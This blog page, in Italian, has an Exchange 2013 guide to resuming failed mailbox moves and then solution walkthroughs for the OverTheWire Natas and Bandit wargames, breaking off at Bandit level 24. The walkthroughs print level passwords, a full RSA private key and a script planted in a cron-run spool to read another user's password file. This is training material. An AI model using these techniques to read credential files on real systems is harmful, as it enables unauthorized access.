Exchange 2013: Cosa fare quando fallisce lo spostamento di una casella postale

In Exchange 2013, durante il trasferimento di una casella di posta da un database ad un’altro, può accadere che questo processo fallisca. In questo articolo vedremo come rimediare a questo problema e finalizzare lo spostamento della casella.

Come prima cosa è importante capire come funzionano le richieste di spostamento. Raccomando a questo proposito di leggere l’articolo di TechNet a riguardo.

È inoltre molto utile comprendere i parametri del cmdlet new-moverequest, possiamo farlo leggendo questo articolo.

Analizziamo il problema

Cerchiamo ora di capire perché la richiesta di spostamento della casella non è andata a buon fine. Per farlo possiamo usare il seguente comando Powershell:

get-moverequest -movestatus Failed | get-moverequeststatistics

Dovremmo ottenere un output che ci dia maggior informazioni sul problema riscontrato:

[PS] C:\Windows\system32>get-moverequest -movestatus Failed | get-moverequeststatistics

DisplayName  StatusDetail  TotalMailboxSize  TotalArchiveSize  PercentComplete
-----------  ------------  ----------------  ----------------  -----------
Nome Cognome  FailedOther  410.7 MB          (43...            86

In questo modo però non riusciamo a diagnosticare l’esatto problema che la casella di posta ha incontrato durante la migrazione. Possiamo allora utilizzare di nuovo il comando utilizzato, modificandolo per renderlo più efficace:

get-moverequest -movestatus Failed | get-moverequeststatistics | select DisplayName,largeitemsencountered,baditemsencountered,SyncStage,Failure*,Message,PercentComplete

Di seguito possiamo vedere l’output dettagliato riguardo l’errore incontrato:

[PS] C:\Windows\system32>get-moverequest -movestatus Failed | getmoverequeststatistics | select DisplayName,largeitemsencountered,baditemsencountered,SyncStage,Failure*,Message,PercentComplete

DisplayName           : Nome Cognome
LargeItemsEncountered : 0
BadItemsEncountered   : 5
SyncStage             : CopyingMessages
FailureCode           : -2146233088
FailureType           : TooManyBadItemsPermanentException
FailureSide           :
FailureTimestamp      : 31/03/2015 11:24:41
Message               : Error: This mailbox exceeded the maximum number of corrupted items that were specified for
                        this move request.
PercentComplete       : 86

In questo modo possiamo chiaramente vedere che la cassetta postale non ha concluso lo spostamento perché ha incontrato più errori di quelli tollerati, nel nostro esempio 5. Come default, se non viene specificato il numero di errori tollerati, questo sarà impostato a 0. In questo modo ogni errore riscontrato bloccherà lo spostamento della cassetta.

Soluzione

Ovviamente ricominciare da capo lo spostamento della casella postale non solo produrrebbe un’ingente perdita di tempo ma risulterebbe essere del tutto inutile. Se non corretti infatti, gli errori si ripresenterebbero.

Modifichiamo quindi la richiesta di spostamento corrente in modo da saltare i 5 errori riscontrati.

get-moverequest 'Nome Cognome' | set-moverequest –baditemlimit 6

Ora possiamo riprendere la nostra richiesta di spostamento:

resume-moverequest 'Nome Cognome'

Si noterà che lo spostamento della casella postale continuerà dal punto esatto in cui si era bloccata.

Soluzioni di Overthewire.org Natas da 0 a 4

Livello 0

Basta accedere al sito del livello con le credenziali fornite nelle istruzioni

Livello 0->1

È possibile trovare la password del livello successivo all’interno del codice html della pagina

Soluzione Natas livello da 0 a 1

<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->

Livello 1->2
Come nel livello precedente, solo che in questo caso il click con il pulsante dx è disabilitato da uno script javascript.

Natas_level1

Possiamo disabilitare gli script javascript nel nostro browser oppure utilizzare un qualsiasi programma di debug per visualizzare il codice della pagina, in figura quello di safari.

Qui è possibile vedere sia la porzione di codice javascript che blocca l’uso del pulsante destro che, poco sotto, la password.

<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->

Livello 2->3
In questo livello, come suggerito, la password non si trova nel codice sorgente. Guardando il codice notiamo però che questo include una piccola immagine.

Natas_level2

<img src="files/pixel.png">

Se proviamo ad accedere alla directory files, vedremo che è “sfogliabile”.

http://natas2.natas.labs.overthewire.org/files/

Cliccando sul file users.txt otteniamo la password per il livello successivo

natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

Livello 3->4

Il riferimento a Google evoca il file robots.txt. In effetti esiste ed il suo contenuto è il seguente:

User-agent: *
Disallow: /s3cr3t/

La cartella /s3cr3t/ contiene il file users.txt, in cui possiamo trovare la password per il livello successivo.

natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
Overthewire Bandit Wargame

Soluzioni di Overthewire.org Bandit da 0 a 25

Forse molti di voi conoscono già il sito overthewire.org. Per chi non lo conoscesse si tratta di un sito di wargame grazie al quale è possibile fare pratica di concetti di sicurezza informatica in forma di piccole sfide. È organizzato in sfide di difficoltà crescente, la prima delle quali è chiamata Bandit.

Il sito overthewire descrive questa sfida nel seguente modo: “The Bandit wargame is aimed at absolute beginners. It will teach the basics needed to be able to play other wargames.

Di seguito le soluzioni di Bandit.

Livello 0:

#Connessione
stef$ ssh bandit0@bandit.labs.overthewire.org

Livello 0 -> 1:

##Soluzione
bandit0@melinda:~$ cat
boJ9jbbUNNfktd78OOpsqOltutMc3MY1
#Disconnessione
bandit0@melinda:~$ logout
Connection to bandit.labs.overthewire.org closed.
stef$ 

Livello 1 -> 2:

stef$ ssh bandit1@bandit.labs.overthewire.org
bandit1@melinda:~$ cat ./-
CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9
bandit1@melinda:~$ logout
Connection to bandit.labs.overthewire.org closed.
stef$ 

Livello 2 -> 3:

stef$ ssh bandit2@bandit.labs.overthewire.org
bandit2@melinda:~$ cat spaces\ in\ this\ filename 
UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK
bandit2@melinda:~$ logout
Connection to bandit.labs.overthewire.org closed.
stef$ 

Livello 3 -> 4:

stef$ ssh bandit3@bandit.labs.overthewire.org
bandit3@melinda:~$ ls -a inhere/
.  ..  .hidden
bandit3@melinda:~$ cat inhere/.hidden 
pIwrPrtPN36QITSp3EQaw936yaFoFgAB
bandit3@melinda:~$ logout
Connection to bandit.labs.overthewire.org closed.
stef$

Livello 4 -> 5:

stef$ ssh bandit4@bandit.labs.overthewire.org
bandit4@melinda:~/inhere$ file ./*
./-file00: data
./-file01: data
./-file02: data
./-file03: data
./-file04: data
./-file05: data
./-file06: data
./-file07: ASCII text
./-file08: data
./-file09: data
bandit4@melinda:~/inhere$ cat ./-file07
koReBOKuIDDepwhWk7jZC0RTdopnAYKh
bandit4@melinda:~/inhere$ logout
stef$

Livello 5 -> 6:

stef$ ssh bandit5@bandit.labs.overthewire.org
bandit5@melinda:~$ cd inhere/
bandit5@melinda:~$ find ./ -size 1033c
./inhere/maybehere07/.file2
bandit5@melinda:~$ cat ./inhere/maybehere07/.file2
DXjZPULLxYr17uwoI01bNLQbtFemEgo7
bandit5@melinda:~$ logout
Connection to bandit.labs.overthewire.org closed.
stef$ 

Livello 6 -> 7:

stef$ ssh bandit6@bandit.labs.overthewire.org
bandit6@melinda:~$ find / -size 33c -user bandit7 -group bandit6 2&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;/dev/null
/var/lib/dpkg/info/bandit7.password
bandit6@melinda:~$ cat /var/lib/dpkg/info/bandit7.password
HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs
bandit6@melinda:~$ logout
Connection to bandit.labs.overthewire.org closed.
stef$

Livello 7 -> 8:

stef$ ssh bandit7@bandit.labs.overthewire.org
bandit7@melinda:~$ cat data.txt | grep millionth
millionth	cvX2JJa4CFALtqS87jk27qwqGhBM9plV
bandit7@melinda:~$ logout
Connection to bandit.labs.overthewire.org closed.
stef$

Livello 8 -> 9:

stef$ ssh bandit8@bandit.labs.overthewire.org
bandit8@melinda:~$ sort data.txt | uniq -u
UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR
bandit8@melinda:~$ logout
Connection to bandit.labs.overthewire.org closed.
stef$

Livello 9 -> 10:

stef$ ssh bandit9@bandit.labs.overthewire.org
bandit9@melinda:~$ ls
data.txt
bandit9@melinda:~$ strings data.txt | grep =
epr~F=K
7?YD=
?M=HqAH
/(Ne=
C=_&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;
I========== the6
z5Y=
`h(8=`
n\H=;
========== password
========== ism
N$=&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;
l/a=L)
f=C(
========== truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk
ie)=5e
bandit9@melinda:~$ logout
Connection to bandit.labs.overthewire.org closed.
stef$

Livello 10 -> 11:

stef$ ssh bandit10@bandit.labs.overthewire.org
bandit10@melinda:~$ ls
data.txt
bandit10@melinda:~$ base64 -d data.txt 
The password is IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR
bandit10@melinda:~$ logout
Connection to bandit.labs.overthewire.org closed.
stef$ 

Livello 11 -> 12:

stef$ ssh bandit11@bandit.labs.overthewire.org
bandit11@melinda:~$ ls
data.txt
bandit11@melinda:~$ cat data.txt 
Gur cnffjbeq vf 5Gr8L4qetPEsPk8htqjhRK8XSP6x2RHh
bandit11@melinda:~$ tr 'A-Za-z' 'N-ZA-Mn-za-m' &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt; data.txt 
The password is 5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu
bandit11@melinda:~$ logout
Connection to bandit.labs.overthewire.org closed.
stef$

Livello 12 -> 13:

stef$ ssh bandit12@bandit.labs.overthewire.org
bandit12@melinda:/tmp$ cd /tmp
bandit12@melinda:/tmp$ mkdir acc123
bandit12@melinda:/tmp$ cd acc123
bandit12@melinda:/tmp/acc123$ cp /home/bandit12/data.txt ./
bandit12@melinda:/tmp/acc123$ ls
data.txt
#Convertiamo l'hexdump in binario
bandit12@melinda:/tmp/acc123$ xxd -r data.txt &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt; data1.txt
bandit12@melinda:/tmp/acc123$ ls
data.txt  data1.txt
#Utilizziamo il comando file per vedere con che tipo di file abbiamo a che fare
bandit12@melinda:/tmp/acc123$ file data1.txt 
data1.txt: gzip compressed data, was &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;data2.bin&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;, from Unix, last modified: Fri Nov 14 10:32:20 2014, max compression
bandit12@melinda:/tmp/acc123$ mv data1.txt data2.bin.gz 
bandit12@melinda:/tmp/acc123$ gunzip data2.bin.gz 
bandit12@melinda:/tmp/acc123$ ls
data.txt  data2.bin
bandit12@melinda:/tmp/acc123$ file data2.bin 
data2.bin: bzip2 compressed data, block size = 900k   
bandit12@melinda:/tmp/acc123$ bunzip2 data2.bin
bunzip2: Can't guess original name for data2.bin -- using data2.bin.out
bandit12@melinda:/tmp/acc123$ ls
data.txt  data2.bin.out
bandit12@melinda:/tmp/acc123$ file data2.bin.out 
data2.bin.out: gzip compressed data, was &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;data4.bin&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;, from Unix, last modified: Fri Nov 14 10:32:20 2014, max compression
bandit12@melinda:/tmp/acc123$ mv data2.bin.out data4.bin.gz
bandit12@melinda:/tmp/acc123$ gunzip data4.bin.gz 
bandit12@melinda:/tmp/acc123$ ls
data.txt  data4.bin
bandit12@melinda:/tmp/acc123$ file data4.bin 
data4.bin: POSIX tar archive (GNU)
bandit12@melinda:/tmp/acc123$ tar -xvf data4.bin
data5.bin
bandit12@melinda:/tmp/acc123$ file data5.bin 
data5.bin: POSIX tar archive (GNU)
bandit12@melinda:/tmp/acc123$ tar -xvf data5.bin
data6.bin
bandit12@melinda:/tmp/acc123$ file data6.bin 
data6.bin: bzip2 compressed data, block size = 900k
bandit12@melinda:/tmp/acc123$ bunzip2 data6.bin
bunzip2: Can't guess original name for data6.bin -- using data6.bin.out
bandit12@melinda:/tmp/acc123$ file data6.bin.out 
data6.bin.out: POSIX tar archive (GNU)
bandit12@melinda:/tmp/acc123$ tar -xvf data6.bin.out
data8.bin
bandit12@melinda:/tmp/acc123$ file data8.bin 
data8.bin: gzip compressed data, was &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;data9.bin&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;, from Unix, last modified: Fri Nov 14 10:32:20 2014, max compression
bandit12@melinda:/tmp/acc123$ mv data8.bin data9.bin.gz
bandit12@melinda:/tmp/acc123$ gunzip data9.bin.gz 
bandit12@melinda:/tmp/acc123$ ls
data.txt  data4.bin  data5.bin  data6.bin.out  data9.bin
bandit12@melinda:/tmp/acc123$ file data9.bin 
data9.bin: ASCII text
bandit12@melinda:/tmp/acc123$ cat data9.bin 
The password is 8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL
bandit12@melinda:/tmp/acc123$ logout
Connection to bandit.labs.overthewire.org closed.
stef$

Livello 13 -> 14:

stef$ ssh bandit13@bandit.labs.overthewire.org
bandit13@melinda:~$ ls
sshkey.private
bandit13@melinda:~$ logout
Connection to bandit.labs.overthewire.org closed.
#Copio la chiave sul computer locale
stef$ scp bandit13@bandit.labs.overthewire.org:/home/bandit13/sshkey.private ./Cartella/

Livello 14 -> 15:

stef$ ssh bandit14@bandit.labs.overthewire.org -i ./Cartella/sshkey.private
bandit14@melinda:~$ cat /etc/bandit_pass/bandit14 
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
#Controlliamo se effettivamente esiste un servizio in ascolto sulla porta 30000
bandit14@melinda:~$ netstat -anp | grep 30000
tcp        0      0 0.0.0.0:30000           0.0.0.0:*               LISTEN      - 
#Tentiamo la connessione verso il server locale alla porta 30000
bandit14@melinda:~$ nc localhost 30000
#proviamo a spedire la password trovata in precedenza
4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e
Correct!
BfMYroe26WYalil77FoDi9qh59eK5xNr

bandit14@melinda:~$ logout
Connection to bandit.labs.overthewire.org closed.
MaKeopti:~ stef$
stef$

Livello 15 -> 16:

stef$ ssh bandit15@bandit.labs.overthewire.org
bandit15@melinda:~$ openssl s_client -host localhost -port 30001
CONNECTED(00000003)
depth=0 CN = li190-250.members.linode.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = li190-250.members.linode.com
verify return:1
---
Certificate chain
 0 s:/CN=li190-250.members.linode.com
   i:/CN=li190-250.members.linode.com
---
Server certificate
-----BEGIN CERTIFICATE-----
[...]
-----END CERTIFICATE-----
[...]
---
No client certificate CA names sent
---
SSL handshake has read 1330 bytes and written 455 bytes
---
New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    [...]
    Timeout   : 300 (sec)
    Verify return code: 18 (self signed certificate)
---
BfMYroe26WYalil77FoDi9qh59eK5xNr
HEARTBEATING
read R BLOCK
read:errno=0

#Uso come suggerito l'opzione -quiet
bandit15@melinda:~$ openssl s_client -host localhost -port 30001 -quiet
depth=0 CN = li190-250.members.linode.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = li190-250.members.linode.com
verify return:1
BfMYroe26WYalil77FoDi9qh59eK5xNr
Correct!
cluFn7wTiGryunymYOu4RcffSxQluehd

read:errno=0
bandit15@melinda:~$ logout
Connection to bandit.labs.overthewire.org closed.
stef$ 

Livello 16 -> 17:

stef$ ssh bandit16@bandit.labs.overthewire.org
bandit16@melinda:~$ nmap -Pn -A -p 31000-32000 localhost

Starting Nmap 6.40 ( http://nmap.org ) at 2015-01-17 08:42 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00081s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE VERSION
31046/tcp open  echo
31518/tcp open  msdtc   Microsoft Distributed Transaction Coordinator (error)
31691/tcp open  echo
31790/tcp open  msdtc   Microsoft Distributed Transaction Coordinator (error)
31960/tcp open  echo
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.61 seconds

#Le porte indicate come servizio echo probabilmente non ci serviranno e potremmo scartarle a priori.
#In ogni caso, per completezza, proviamo a connetterci alla prima
bandit16@melinda:~$ openssl s_client -host localhost -port 31046
CONNECTED(00000003)
140737354045088:error:140770FC:SSL routines:SSL23_GET_SERVER_HELLO:unknown protocol:s23_clnt.c:795:
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 7 bytes and written 305 bytes
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
---
#Non ci resta che focalizzarci sulle porte 31518 e 31790
bandit16@melinda:~$ openssl s_client -host localhost -port 31518
CONNECTED(00000003)
depth=0 CN = li190-250.members.linode.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = li190-250.members.linode.com
verify return:1
---
Certificate chain
 0 s:/CN=li190-250.members.linode.com
   i:/CN=li190-250.members.linode.com
---
Server certificate
-----BEGIN CERTIFICATE-----
[...]
-----END CERTIFICATE-----
[...]
---
No client certificate CA names sent
---
SSL handshake has read 1330 bytes and written 455 bytes
---
New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    [...]
    Timeout   : 300 (sec)
    Verify return code: 18 (self signed certificate)
---
cluFn7wTiGryunymYOu4RcffSxQluehd
cluFn7wTiGryunymYOu4RcffSxQluehd
^C

#Non ci rimane che provare la connessione sulla porta 31790

bandit16@melinda:~$ openssl s_client -host localhost -port 31790
CONNECTED(00000003)
depth=0 CN = li190-250.members.linode.com
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = li190-250.members.linode.com
verify return:1
---
Certificate chain
 0 s:/CN=li190-250.members.linode.com
   i:/CN=li190-250.members.linode.com
---
Server certificate
-----BEGIN CERTIFICATE-----
[...]
-----END CERTIFICATE-----
subject=/CN=li190-250.members.linode.com
issuer=/CN=li190-250.members.linode.com
---
No client certificate CA names sent
---
SSL handshake has read 1330 bytes and written 455 bytes
---
New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    [...]
    Timeout   : 300 (sec)
    Verify return code: 18 (self signed certificate)
---
cluFn7wTiGryunymYOu4RcffSxQluehd
Correct!
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY-----

read:errno=0
#Copiamo la chiave privata su un file da poter riutilizzare al livello successivo.
#Nel mio caso il file si chiamerà sshkey-private17
bandit16@melinda:~$ logout
Connection to bandit.labs.overthewire.org closed.
stef$ 

Livello 17 -> 18:

stef$ ssh bandit17@bandit.labs.overthewire.org -i ./Cartella/sshkey.private17
bandit17@melinda:~$ diff passwords.old passwords.new 
42c42
&amp;amp;amp;amp;amp;lt; BS8bqB1kqkinKJjuxL6k072Qq9NRwQpR
---
&amp;amp;amp;amp;amp;gt; kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
#La stringa che cerchiamo è la seconda proposta, segnalata dal simbolo &amp;amp;amp;amp;amp;quot;&amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;quot;
bandit17@melinda:~$ logout
Connection to bandit.labs.overthewire.org closed.
stef$

Livello 18 -> 19:

stef$ ssh bandit18@bandit.labs.overthewire.org
[...]
bandit18@bandit.labs.overthewire.org's password: 
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.18.1-x86_64-linode50 x86_64)
[...]

Byebye !
Connection to bandit.labs.overthewire.org closed.
stef$
#Con ssh è possibile eseguire comandi remoti, usando la sintassi
#ssh host comando
#Rif: http://matt.might.net/articles/ssh-hacks/
stef$ ssh bandit18@bandit.labs.overthewire.org cat readme
[...]
bandit18@bandit.labs.overthewire.org's password: 
IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x
stef$

Livello 19 -> 20:

stef$ ssh bandit19@bandit.labs.overthewire.org
bandit19@melinda:~$ ls
bandit20-do
bandit19@melinda:~$ ./bandit20-do                              
Run a command as another user.
  Example: ./bandit20-do id
bandit19@melinda:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
GbKksEFF4yrVs6il55v6gwY5aVje5f0j
bandit19@melinda:~$ logout
Connection to bandit.labs.overthewire.org closed.
stef$

Livello 20 -> 21:

#console 1
stef$ ssh bandit20@bandit.labs.overthewire.org
bandit20@melinda:~$ ls
suconnect
bandit20@melinda:~$ ./suconnect 
Usage: ./suconnect 
This program will connect to the given port on localhost using TCP. If it receives the correct password from the other side, the next password is transmitted back.

#console 2
stef$ ssh bandit20@bandit.labs.overthewire.org
bandit20@melinda:~$ nc -l 7890

#console 1
bandit20@melinda:~$ netstat -apn | grep 7890
tcp        0      0 0.0.0.0:7890            0.0.0.0:*               LISTEN      4399/nc 
bandit20@melinda:~$ ./suconnect 7890

#Console 2. Spediamo la vecchia password
GbKksEFF4yrVs6il55v6gwY5aVje5f0j

#Console 1
Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Password matches, sending next password
bandit20@melinda:~$ logout
Connection to bandit.labs.overthewire.org closed.
MaKeopti:bing-ip2hosts-0.4 stef$

#Console 2. Riceviamo la risposta con la nuova password
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr
bandit20@melinda:~$ logout
Connection to bandit.labs.overthewire.org closed.
stef$

Livello 21 -> 22:

stef$ ssh bandit21@bandit.labs.overthewire.org
bandit21@melinda:~$ cd /etc/cron.d
bandit21@melinda:/etc/cron.d$ ls
behemoth4_cleanup   manpage3_resetpw_job   natas27_cleanup  sysstat
cron-apt            melinda-stats          php5             vortex0
cronjob_bandit22    natas-session-toucher  semtex0-32       vortex20
cronjob_bandit23    natas-stats            semtex0-64
cronjob_bandit24    natas25_cleanup        semtex0-ppc
leviathan5_cleanup  natas26_cleanup        semtex5
bandit21@melinda:/etc/cron.d$ cat cronjob_bandit22 
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &amp;amp;amp;&amp;amp;gt; /dev/null
bandit21@melinda:/etc/cron.d$ cat /usr/bin/cronjob_bandit22.sh 
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 &amp;amp;gt; /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
bandit21@melinda:/etc/cron.d$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI
bandit21@melinda:/etc/cron.d$ logout
Connection to bandit.labs.overthewire.org closed.
stef$

Livello 22 -> 23:

stef$ ssh bandit22@bandit.labs.overthewire.org
bandit22@melinda:~$ cd /etc/cron.d/
bandit22@melinda:/etc/cron.d$ ls
behemoth4_cleanup   manpage3_resetpw_job   natas27_cleanup  sysstat
cron-apt            melinda-stats          php5             vortex0
cronjob_bandit22    natas-session-toucher  semtex0-32       vortex20
cronjob_bandit23    natas-stats            semtex0-64
cronjob_bandit24    natas25_cleanup        semtex0-ppc
leviathan5_cleanup  natas26_cleanup        semtex5
bandit22@melinda:/etc/cron.d$ cat cronjob_bandit23
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &amp;amp;amp;&amp;amp;gt; /dev/null
bandit22@melinda:/etc/cron.d$ cat /usr/bin/cronjob_bandit23.sh 
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo &amp;amp;quot;Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget&amp;amp;quot;

cat /etc/bandit_pass/$myname &amp;amp;gt; /tmp/$mytarget

#troviamo il valore della variabile mytarget
bandit22@melinda:/$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
#visualizziamo il file
bandit22@melinda:/$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n
bandit22@melinda:/$ logout
Connection to bandit.labs.overthewire.org closed.
stef$

Livello 23 -> 24:

stef$ ssh bandit23@bandit.labs.overthewire.org
bandit23@melinda:~$ cd /etc/cron.d
bandit23@melinda:/etc/cron.d$ ls
behemoth4_cleanup   manpage3_resetpw_job   natas27_cleanup  sysstat
cron-apt            melinda-stats          php5             vortex0
cronjob_bandit22    natas-session-toucher  semtex0-32       vortex20
cronjob_bandit23    natas-stats            semtex0-64
cronjob_bandit24    natas25_cleanup        semtex0-ppc
leviathan5_cleanup  natas26_cleanup        semtex5
bandit23@melinda:/etc/cron.d$ cat cronjob_bandit24
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &amp;amp;&amp;gt; /dev/null
bandit23@melinda:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo &amp;quot;Executing and deleting all scripts in /var/spool/$myname:&amp;quot;
for i in *;
do
    echo &amp;quot;Handling $i&amp;quot;
    ./$i
    rm -f $i
done


bandit23@melinda:/etc/cron.d$ mkdir /tmp/stef
bandit23@melinda:/etc/cron.d$ cd /tmp/stef
bandit23@melinda:/tmp/stef$ touch script.sh
bandit23@melinda:/tmp/stef$ vi script.sh
#Creo uno script bash. Di seguito il cat dello script
bandit23@melinda:/tmp/stef$ cat script.sh 
#!/bin/bash

myname=$(whoami)
myfile=&amp;quot;/tmp/stef/password$myname.txt&amp;quot;
echo &amp;quot;The password for user $myname is the following:&amp;quot; &amp;gt; $myfile 
cat /etc/bandit_pass/$myname &amp;gt;&amp;gt; $myfile
#Occorre dargli gli attributi opportuni alla cartelle e i file contenuti
bandit23@melinda:/tmp/stef$ chmod 777 -R /tmp/stef
bandit23@melinda:/tmp/stef$ ls -l
total 4
-rwx--x--x 1 bandit23 bandit23 178 Jan 18 16:10 script.sh
#Ora testiamo lo script, dovremmo avere le info per l'utente che esegue il file,
#per ora l'utente bandit23
bandit23@melinda:/tmp/stef$ ./script.sh 
bandit23@melinda:/tmp/stef$ ls
passwordbandit23.txt  script.sh
bandit23@melinda:/tmp/stef$ cat passwordbandit23.txt 
The password for user bandit23 is the following:
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n
#A questo punto tutto dovrebbe essere pronto per utilizzare lo script per l'utente bandit24
bandit23@melinda:/tmp/stef$ cp script.sh /var/spool/bandit24/
bandit23@melinda:/tmp/stef$ ls
passwordbandit23.txt  passwordbandit24.txt  script.sh
bandit23@melinda:/tmp/stef$ cat passwordbandit24.txt 
The password for user bandit24 is the following:
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
bandit23@melinda:~$ cd
bandit23@melinda:~$ rm -rf /tmp/stef
bandit23@melinda:~$ logout
Connection to bandit.labs.overthewire.org closed.
stef$

Livello 24 -> 25:

stef$ ssh bandit24@bandit.labs.overthewire.org
#Controlliamo che in effetti un server sia ascolto sulla porta indicata
bandit24@melinda:~$ netstat -ln | grep 30002
